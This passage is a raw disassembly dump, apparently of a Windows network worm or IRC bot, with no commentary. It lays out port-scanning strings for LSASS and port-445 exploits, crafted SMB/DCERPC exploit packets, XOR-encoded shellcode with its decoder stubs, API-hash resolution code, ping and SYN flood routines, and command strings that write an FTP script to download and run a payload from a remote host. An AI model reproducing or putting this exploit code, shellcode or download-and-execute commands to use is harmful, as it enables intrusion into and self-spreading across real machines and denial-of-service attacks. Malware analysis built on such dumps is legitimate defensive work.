sub_420F10:loc_42117Eo ... aHttp db 'http',0 ; DATA XREF: sub_420F10+84o ; sub_420F10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_445428 dd 1BDh ; sub_422B40+310o ... off_44542C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr dword_445430 dd 0 ; sub_4236F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401820h, 0 dd 1, 0 aNet445 db 'net445',0 align 10h dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 402199h, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401DCAh, 0 dd 1, 1Fh dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422B40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422B40+747o off_4455F0 dd offset loc_612D20 ; DATA XREF: sub_422B40+737o ; sub_422B40+7A3o ... dword_4455F4 dd 722D20h ; sub_422B40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do align 4 dd 0 dword_4456EC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423DD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004242B7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424206o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042414Fo dd 3 dup(0) aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_424920+BDo align 10h dword_4458B0 dd 10FF8h, 0 dword_4458B8 dd 10FF8h dword_4458BC dd 7FFDF020h, 0 dword_4458C4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44594C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44597C dd 0 dword_445980 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_445988 proc near ; DATA XREF: sub_425100+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_445A84 push dword ptr [esi] push 63D61209h call sub_445A9A mov [esi+8], eax call sub_445A4D push dword ptr [esi+4] push 0CA2BD06Bh call sub_445A9A mov [esi+0Ch], eax call sub_4459FF push dword ptr [esi+4] push 4C0297FAh call sub_445A9A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_445988 endp ; =============== S U B R O U T I N E ======================================= sub_4459FF proc near ; CODE XREF: sub_445988+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_445A28 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4459FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A28 proc near ; CODE XREF: sub_4459FF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_445A37: ; CODE XREF: sub_445A28+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_445A44 inc ebx jmp short loc_445A37 ; --------------------------------------------------------------------------- loc_445A44: ; CODE XREF: sub_445A28+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_445A28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A4D proc near ; CODE XREF: sub_445988+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_445A65: ; CODE XREF: sub_445A4D+1Ej cmp [ecx], ebx jz short loc_445A6D mov ecx, [ecx] jmp short loc_445A65 ; --------------------------------------------------------------------------- loc_445A6D: ; CODE XREF: sub_445A4D+1Aj mov edx, edi loc_445A6F: ; CODE XREF: sub_445A4D+2Aj cmp [edx+4], ebx jz short loc_445A79 mov edx, [edx+4] jmp short loc_445A6F ; --------------------------------------------------------------------------- loc_445A79: ; CODE XREF: sub_445A4D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_445A4D endp ; =============== S U B R O U T I N E ======================================= sub_445A84 proc near ; CODE XREF: sub_445988+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_445A84 endp ; =============== S U B R O U T I N E ======================================= sub_445A9A proc near ; CODE XREF: sub_445988+16p ; sub_445988+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_445AB0: ; CODE XREF: sub_445A9A+33j jecxz short loc_445AEA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_445ABD: ; CODE XREF: sub_445A9A+2Dj lodsb cmp al, ah jz short loc_445AC9 ror edi, 0Dh add edi, eax jmp short loc_445ABD ; --------------------------------------------------------------------------- loc_445AC9: ; CODE XREF: sub_445A9A+26j cmp edi, [esp+20h+arg_0] jnz short loc_445AB0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_445AEA: ; CODE XREF: sub_445A9A:loc_445AB0j ; sub_445A9A:loc_445AEAj jmp short loc_445AEA sub_445A9A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_445AF0 proc near ; DATA XREF: sub_425100+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_445B42 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_445B0D: ; CODE XREF: sub_445AF0+38j jecxz short loc_445B3D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_445B18: ; CODE XREF: sub_445AF0+32j lodsb test al, al jz short loc_445B24 ror edx, 0Dh add edx, eax jmp short loc_445B18 ; --------------------------------------------------------------------------- loc_445B24: ; CODE XREF: sub_445AF0+2Bj cmp edx, [esp+arg_0] jnz short loc_445B0D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_445B3D: ; CODE XREF: sub_445AF0:loc_445B0Dj mov [esp+arg_0], ebx retn sub_445AF0 endp ; =============== S U B R O U T I N E ======================================= sub_445B42 proc near ; CODE XREF: sub_445AF0+7p ; FUNCTION CHUNK AT 00445B7A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_445B5B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_445B66 ; --------------------------------------------------------------------------- loc_445B5B: ; CODE XREF: sub_445B42+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_445B66: ; CODE XREF: sub_445B42+14j pop edi xor esi, esi pusha push esi jmp short loc_445B7A sub_445B42 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445B6D proc near ; CODE XREF: sub_445B42:loc_445B7Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_445B6D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B42 loc_445B7A: ; CODE XREF: sub_445B42+29j call sub_445B6D ; END OF FUNCTION CHUNK FOR sub_445B42 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_445C14 dd 23h dword_445C18 dd 60h dword_445C1C dd 62B0606h, 2050501h, 0A0hdword_445C28 dd 0A1h dword_445C2C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do align 4 loc_445C38: ; DATA XREF: sub_424920+100o jmp short near ptr dword_445C40 ; --------------------------------------------------------------------------- align 10h dword_445C40 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425100+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- jmp short loc_445CFA ; =============== S U B R O U T I N E ======================================= sub_445CEA proc far ; CODE XREF: sub_445CEA:loc_445CFAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_445CF2: ; CODE XREF: sub_445CEA+Cj xor byte ptr [ebx+ecx], 99h loop loc_445CF2 jmp short loc_445CFF ; --------------------------------------------------------------------------- loc_445CFA: ; CODE XREF: ___:00445CE8j call near ptr sub_445CEA loc_445CFF: ; CODE XREF: sub_445CEA+Ej jo short loc_445D63 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445D81 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_445D63: ; CODE XREF: sub_445CEA:loc_445CFFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445D81: ; CODE XREF: sub_445CEA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_445CEA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_445E28: ; DATA XREF: sub_4257F0+12Bo ; sub_4257F0+135o ... jmp short loc_445E3A ; =============== S U B R O U T I N E ======================================= sub_445E2A proc near ; CODE XREF: sub_445E2A:loc_445E3Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_445E32: ; CODE XREF: sub_445E2A+Cj xor byte ptr [edx+ecx], 99h loop loc_445E32 jmp short loc_445E3F ; --------------------------------------------------------------------------- loc_445E3A: ; CODE XREF: ___:loc_445E28j call sub_445E2A loc_445E3F: ; CODE XREF: sub_445E2A+Ej jo short near ptr dword_445DB8+1Eh cwde cdq cdq retn sub_445E2A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_445ED8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_445FC0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:00425E52o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44604C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425E87o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_4460F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425EB6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4461D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_44622F dd 3F000000h dword_446233 dd 3F3F3F3Fh byte_446237 db 0 ; DATA XREF: sub_4257F0+B4r dd 0 dword_44623C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4462A8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44634C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4463CC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446460 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4464CC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_446540 dd 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 3 dup(0) dword_4465CC dd 1004600h ; sub_4257F0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_4467B4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o align 4 dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o align 10h aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o align 10h dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o align 4 dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo align 8 aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo align 10h aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o align 4 dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao align 8 aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo align 10h dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o align 10h dword_446900 dd 6EB06EBh align 8 dword_446908 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o dword_446914 dd 1CEC8166h dword_446918 dd 0E4FF07h align 10h dword_446920 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44696C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_44699C dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_4469BC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_4469C6: ; CODE XREF: ___:004469D0j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_4469C6 sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_426070+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 4 dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o align 8 word_446C28 dw 2EBh ; DATA XREF: ___:00426331r align 4 dword_446C2C dd 215h dd 0 dword_446C34 dd 20804h dd 0 ; --------------------------------------------------------------------------- loc_446C3C: ; DATA XREF: sub_4267D0+CCo jmp short loc_446C40 ; --------------------------------------------------------------------------- loc_446C3E: ; CODE XREF: ___:loc_446C40p jmp short loc_446C45 ; --------------------------------------------------------------------------- loc_446C40: ; CODE XREF: ___:loc_446C3Cj call loc_446C3E loc_446C45: ; CODE XREF: ___:loc_446C3Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_446C4A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w db 80h, 73h, 0Eh byte_446C4F db 0FFh ; DATA XREF: sub_4267D0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_446C54: ; DATA XREF: sub_4267D0+A7o jmp short loc_446C58 ; --------------------------------------------------------------------------- loc_446C56: ; CODE XREF: ___:loc_446C58p jmp short loc_446C5D ; --------------------------------------------------------------------------- loc_446C58: ; CODE XREF: ___:loc_446C54j call loc_446C56 loc_446C5D: ; CODE XREF: ___:loc_446C56j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_446C61 db 0FFh ; DATA XREF: sub_4267D0+AEw dw 7380h db 0Ch byte_446C65 db 0FFh ; DATA XREF: sub_4267D0+B4w dw 0E243h dd 0F9h dword_446C6C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_426560+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_446CD0 dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_446CE0 dd 74656720h byte_446CE4 db 20h ; DATA XREF: sub_426560+A2r dword_446CE5 dd 0E8006A00h dword_446CE9 dd 17h ; sub_426560+D2r dword_446CED dd 0E8C30175h dword_446CF1 dd 1 ; sub_426560+E7r byte_446CF5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o dd 7E8h db 0, 0Fh, 84h dword_446CFF dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_427740+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_427990+D0o align 4 dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o align 10h dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o align 4 dd 0 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo align 10h aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o align 10h dd 0 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co align 10h aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o align 4 aSAttack@SDDone db 